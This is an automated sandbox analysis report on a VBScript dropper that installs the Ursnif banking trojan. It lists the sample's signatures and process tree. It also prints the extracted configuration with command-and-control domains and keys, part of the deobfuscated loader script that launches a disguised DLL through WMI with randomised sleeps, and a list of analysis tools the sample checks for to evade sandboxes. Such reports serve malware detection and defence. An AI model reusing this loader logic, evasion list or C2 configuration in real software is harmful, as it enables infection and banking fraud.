Edit tour

Windows Analysis Report
gnAYDP69br2v.vbs

Overview

General Information

Sample Name:	gnAYDP69br2v.vbs
Analysis ID:	560537
MD5:	694a1a5ee37e5c161a37d4166a677850
SHA1:	adfdbca254f8f810735cf2224aca1630af762bea
SHA256:	0993c606df923ac8f174d7789fb494633c89d99d48747a91b866dc410cbd5814
Infos:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Benign windows process drops PE files

VBScript performs obfuscated calls to suspicious functions

Yara detected Ursnif

Antivirus detection for dropped file

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Creates processes via WMI

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking system information)

Deletes itself after installation

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

AV process strings found (often used to terminate AV products)

Java / VBScript file with very long strings (likely obfuscated code)

PE file contains an invalid checksum

Drops PE files

Contains functionality to read the PEB

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Launches processes in debugging mode, may be used to hinder debugging

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6536 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\gnAYDP69br2v.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

WmiPrvSE.exe (PID: 6620 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: A782A4ED336750D10B3CAF776AFE8E70)

rundll32.exe (PID: 6788 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6772 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Ursnif

{"lang_id": "RU, CN", "RSA Public Key": "YH51zbw68XXolzw8uQmujXgr7vnasuZcFgH7AJ2kGBzL4PhjIyVzy5MDJsglBibg5h0RNR44WiefAtoK6SAdWueylFfdzQd683oCOk4rKCggPtdTeSl7hrve2I0aDaCBkoeiOxpSRC00pY0DaAjoBH1DxdU5ti0d0lMA4aqyGSJ+NcMQxJbjly/3eM1JgxTeRv8qfeoCn1t6fo9nKZliSXvxzEf8TXf46mNAineKBDDVsAYvylxjeMV9NuQnAN5bCZLiyp7C5x9eiMqtTEAUnFh9cMrGskg6XvfPGY7auFDj9EDMWtYHKhgHVdRDPVkTTSsGy44FUesZ+6Z4Xw7vU9rgofRZORY0rQQe0OFqz4s=", "c2_domain": ["gtr.antoinfer.com", "app.bighomegl.at"], "botnet": "2500", "server": "580", "serpent_key": "gX5RILpAQgp3pEaS", "sleep_time": "5", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "1"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.882183834.0000000004B69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Unpacked PEs

Source	Rule	Description	Author
23.2.rundll32.exe.2ca0000.0.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
23.3.rundll32.exe.4638d0f.0.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
23.2.rundll32.exe.4b694a0.1.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
23.2.rundll32.exe.6ffa0000.2.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security
23.2.rundll32.exe.4b694a0.1.raw.unpack	JoeSecurity_Ursnif_1	Yara detected Ursnif	Joe Security

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Ursnif {"lang_id": "RU, CN", "RSA Public Key": "YH51zbw68XXolzw8uQmujXgr7vnasuZcFgH7AJ2kGBzL4PhjIyVzy5MDJsglBibg5h0RNR44WiefAtoK6SAdWueylFfdzQd683oCOk4rKCggPtdTeSl7hrve2I0aDaCBkoeiOxpSRC00pY0DaAjoBH1DxdU5ti0d0lMA4aqyGSJ+NcMQxJbjly/3eM1JgxTeRv8qfeoCn1t6fo9nKZliSXvxzEf8TXf46mNAineKBDDVsAYvylxjeMV9NuQnAN5bCZLiyp7C5x9eiMqtTEAUnFh9cMrGskg6XvfPGY7auFDj9EDMWtYHKhgHVdRDPVkTTSsGy44FUesZ+6Z4Xw7vU9rgofRZORY0rQQe0OFqz4s=", "c2_domain": ["gtr.antoinfer.com", "app.bighomegl.at"], "botnet": "2500", "server": "580", "serpent_key": "gX5RILpAQgp3pEaS", "sleep_time": "5", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "1"}

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\melange.yuv

Avira: detection malicious, Label: TR/AD.UrsnifDropper.vsbvn

Source:

Binary string: c:\shell\town.Woman\interest\will.pdb source: rundll32.exe, 00000017.00000002.882547399.0000000070017000.00000002.00000001.01000000.0000000C.sdmp, melange.yuv.0.dr

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_7000EEA1 FindFirstFileExW,

23_2_7000EEA1

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ursnif

Source: Yara match	File source: 23.2.rundll32.exe.2ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.rundll32.exe.4638d0f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.6ffa0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.882183834.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud

Yara detected Ursnif

Source: Yara match	File source: 23.2.rundll32.exe.2ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.rundll32.exe.4638d0f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.6ffa0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.882183834.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_6FFA2274	23_2_6FFA2274
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_7000CA4A	23_2_7000CA4A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_70003761	23_2_70003761

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 70002290 appears 34 times

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_6FFA14FE SetThreadPriority,NtQuerySystemInformation,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,	23_2_6FFA14FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_6FFA1B4A NtMapViewOfSection,	23_2_6FFA1B4A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_6FFA1382 GetProcAddress,NtCreateSection,memset,	23_2_6FFA1382
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_6FFA2495 NtQueryVirtualMemory,	23_2_6FFA2495

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: gnAYDP69br2v.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\gnAYDP69br2v.vbs"
Source: unknown	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::create

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\adobe.url

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winVBS@6/2@0/0

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\gnAYDP69br2v.vbs"

Source: gnAYDP69br2v.vbs

Static file information: File size 2488066 > 1048576

Source:

Binary string: c:\shell\town.Woman\interest\will.pdb source: rundll32.exe, 00000017.00000002.882547399.0000000070017000.00000002.00000001.01000000.0000000C.sdmp, melange.yuv.0.dr

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Sleep Int((UuH-soupy+1)*Rnd+soupy)REM feud policy theology irate liven comparator Ralph megavolt televise gift alarm cultivable javelin ovary Rufus craven bevy hunt ugly marrowbone magnetic End WithDim quadrupole: Set quadrupole = CreateObject("WScript.Shell")Dim Ijil: Set Ijil = CreateObject("Scripting.FileSystemObject")If (Ijil.FileExists(SvurK + "adobe.url")) Then' clubhouse turbulent delegate, 5083367 intend academia involution imperishable convulsion fee clandestine springtime stearic tibia condemnatory crook handkerchief orphanage tepid fence teapot ocph("DEBUG: F_LOCKFILE - False")ROpElseWith quadrupole.createShortcut(SvurK + "adobe.url").TargetPath = "https://adobe.com".Save()End Withocph("DEBUG: F_LOCKFILE - True")' salon Coddington fast McBride sunset February croft mannequin acuity purvey vindictive End IfEnd FunctionFunction weHra()ocph("DEBUG: F_RUN - Start")UuH=60000' strontium deoxyribose testicle carpetbagger thulium lye Silas standpoint confirm lavish ragging, raven broadloom collar moral, Mecca standard songbird Harlan earnest exfoliate soupy=40000RandomizeSet BYkLiService = GetObject("winmg" + "mts:Win32_Pro" + "cess")REM spill family towhead honeysuckle alkaloid. 4079355 wholesome usurpation sheath suffer oilmen whimsey emerald Morgan, 4462814 If (InStr(WScript.ScriptName, cStr(58462)) > 0 And sapsucker = 0) ThenChiangWith WScript.Sleep Int((UuH-soupy+1)*Rnd+soupy)End Witharchetype471 = "ca" + "lc.e" + "xe"' eft enormous Muzak Thor Polynesia pendant Dempsey contraception phosphide blockade belie clement covariant deadhead debilitate petrochemical amide BYkLiService.create archetype471ocph("DEBUG: F_RUN_T - True")ElseChiangWith WScript.Sleep Int((UuH-soupy+1)*Rnd+soupy)End WithUCTw = "rundll32" + " " + SvurK + "melange.yuv" + ",DllRegisterServer":BYkLiService.create UCTwocph("DEBUG: F_RUN_W - True")alLA("-")EMExEnd IfEnd FunctionFunction VuibL()ocph("DEBUG: FS_CLB - Start")' fortunate assonant atrophic absolution estimate lovelorn vegetate, plumb pappy stillwater schoolgirlish on error resume nextDim UuH,soupyREM saloon Pritchard sadden. indolent rancho Semite Harrington inflater stoneware bemadden. Rochester drake800 Shattuck UuH=5000soupy=2000RandomizeWScript.Sleep Int((UuH-soupy+1)*Rnd+soupy)set BYkLi = GetObject("winmgmts:\\.\root\cimv2")' thunderflower niece mountaintop diverse roost putty duel compressible Buchenwald immutable Fomalhaut. 8154240 wont crowd carcass grownup dialectic taught curtain confederate invoke denouement set FtLaZ = BYkLi.InstancesOf("Win32_OperatingSystem")for each hSW in FtLaZaesthetic = hSW.LastBootUpTime' souvenir minuscule committal Havana heartbreak f cure helicopter tung Gorton, backorder Midwest jFE = Mid(aesthetic,1,4) & "-" & Mid(aesthetic,5,2) & "-" & Mid(aesthetic,7,2) & " " & Mid(aesthetic,9,2) & ":" & Mid(aesthetic,11,2) & ":" & Mid(aesthetic,13,2)monologistec = abs(datediff("s",jFE,now))ZuAV = monologistec \ 60REM hut orange copperhead selfadjoint clomp byline approximate t

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_6FFA2263 push ecx; ret	23_2_6FFA2273
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_6FFA2210 push ecx; ret	23_2_6FFA2219
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_700022D6 push ecx; ret	23_2_700022E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_70001C44 push ecx; ret	23_2_70001C57
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_7004C4C0 push ebx; iretd	23_2_7004C4D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_7004D302 push edx; ret	23_2_7004D306

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_6FFA1A0A LoadLibraryA,GetProcAddress,

23_2_6FFA1A0A

Source: melange.yuv.0.dr

Static PE information: real checksum: 0xab069 should be: 0xb1a89

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::create

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\melange.yuv

Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\melange.yuv

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Yara detected Ursnif

Source: Yara match	File source: 23.2.rundll32.exe.2ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.rundll32.exe.4638d0f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.6ffa0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.882183834.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Deletes itself after installation

Source: C:\Windows\System32\wscript.exe

File deleted: c:\users\user\desktop\gnaydp69br2v.vbs

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EMUL.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIECTRL.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: APISPY.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $FAKEHTTPSERVER.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGMON.EXEIK
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCKTOOL.EXE;HQ
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXET
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BEHAVIORDUMPER.EXE@Q
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMPORTREC.EXE@
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HOOKEXPLORER.EXE@
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FORTITRACER.EXE
Source: wscript.exe, 00000000.00000003.739566081.00000274BF6FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ULTIPOT.EXE","SANDBOXIECRYPTO.EXE","XXX.EXE","FILEMON.EXE","NETSNIFFER.EXE","SANDBOXIEDCOMLAUNCH.EXE")
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXEICAL@
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXEA
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: APISPY.EXE@
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMUL.EXE@.8
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXEJ
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HOOKEXPLORER.EXE
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCKTOOL.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NETSNIFFER.EXEK
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PEID.EXE@#Z
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE@
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HOOKANAAPP.EXE@
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXEH
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAG.EXE:V
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGSHOT.EXE
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXE@A
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FORTITRACER.EXEA
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE@
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIECTRL.EXE@
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIESVC.EXE
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SBIESVC.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMPORTREC.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMUL.EXE.8
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Q?$SANDBOXIERPCSS.EXEV5
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAG.EXE@:V
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SANDBOXIERPCSS.EXE@V5
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :FRIDA-WINJECTOR-HELPER-32.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PEID.EXE#Z
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE@J
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HOOKANAAPP.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :FRIDA-WINJECTOR-HELPER-64.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: U.SANDBOXIEDCOMLAUNCH.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXET
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: A9$BEHAVIORDUMPER.EXEQ
